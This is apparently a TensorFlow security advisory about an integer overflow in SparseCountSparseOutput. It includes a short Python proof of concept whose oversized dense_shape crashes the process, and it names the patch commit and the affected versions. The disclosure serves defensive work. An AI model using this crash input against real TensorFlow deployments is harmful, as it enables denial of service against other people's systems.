Integer overflow leading to crash in Tensorflow

Impact

The implementation of SparseCountSparseOutput can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:

import tensorflow as tf
import numpy as np
    
tf.raw_ops.SparseCountSparseOutput(
  indices=[[1,1]],
  values=[2],
  dense_shape=[2 ** 31, 2 ** 32],
  weights=[1],
  binary_output=True,
  minlength=-1,
  maxlength=-1,
  name=None)

Patches

We have patched the issue in GitHub commit 6f4d3e8139ec724dbbcb40505891c81dd1052c4a.

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
